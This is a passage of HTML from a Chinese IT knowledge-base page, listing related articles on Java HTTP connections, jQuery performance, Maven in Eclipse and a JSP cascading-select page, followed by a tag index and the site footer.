name=&quot;mobile&quot; id=&quot;mobile&</div> </li> <li><a href="/article/3383.htm" title="架构师之httpurlconnection----------读取和发送(流读取效率通用类)" target="_blank">架构师之httpurlconnection----------读取和发送(流读取效率通用类)</a> <span class="text-muted">nannan408</span> <div>1.前言. &nbsp;&nbsp; 如题. 2.代码. /* * Copyright (c) 2015, S.F. Express Inc. All rights reserved. */ package com.test.test.test.send; import java.io.IOException; import java.io.InputStream</div> </li> <li><a href="/article/3510.htm" title="Jquery性能优化" target="_blank">Jquery性能优化</a> <span class="text-muted">r361251</span> <a class="tag" taget="_blank" href="/search/JavaScript/1.htm">JavaScript</a><a class="tag" taget="_blank" href="/search/jquery/1.htm">jquery</a> <div>一、注意定义jQuery变量的时候添加var关键字 这个不仅仅是jQuery,所有javascript开发过程中,都需要注意,请一定不要定义成如下: $loading = $('#loading'); //这个是全局定义,不知道哪里位置倒霉引用了相同的变量名,就会郁闷至死的 二、请使用一个var来定义变量 如果你使用多个变量的话,请如下方式定义: . 代码如下: var page </div> </li> <li><a href="/article/3637.htm" title="在eclipse项目中使用maven管理依赖" target="_blank">在eclipse项目中使用maven管理依赖</a> <span class="text-muted">tjj006</span> <a class="tag" taget="_blank" href="/search/eclipse/1.htm">eclipse</a><a class="tag" taget="_blank" href="/search/maven/1.htm">maven</a> <div>概览: 如何导入maven项目至eclipse中 建立自有Maven&nbsp; Java类库服务器 建立符合maven代码库标准的自定义类库 Maven在管理Java类库方面有巨大的优势,像白衣所说就是非常“环保”。 我们平时用IDE开发都是把所需要的类库一股脑的全丢到项目目录下,然后全部添加到ide的构建路径中,如果用了SVN/CVS,这样会很容易就 把</div> </li> <li><a href="/article/3764.htm" title="中国天气网省市级联页面" target="_blank">中国天气网省市级联页面</a> <span class="text-muted">x125858805</span> <a class="tag" taget="_blank" href="/search/%E7%BA%A7%E8%81%94/1.htm">级联</a> <div>1、页面及级联js &lt;%@ page language=&quot;java&quot; import=&quot;java.util.*&quot; pageEncoding=&quot;UTF-8&quot;%&gt; &lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01 Transitional//EN&quot;&gt; &l</div> </li> </ul> </div> </div> </div> <div> <div class="container"> <div class="indexes"> <strong>按字母分类:</strong> <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a> </div> </div> </div> <footer id="footer" class="mb30 mt30"> <div class="container"> <div class="footBglm"> <a target="_blank" href="/">首页</a> - <a target="_blank" href="/custom/about.htm">关于我们</a> - <a target="_blank" href="/search/Java/1.htm">站内搜索</a> - <a target="_blank" href="/sitemap.txt">Sitemap</a> - <a target="_blank" href="/custom/delete.htm">侵权投诉</a> </div> <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved. <!-- <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>--> </div> </div> </footer> <!-- 代码高亮 --> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script> <script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script> <link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/> <script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script> </body> </html>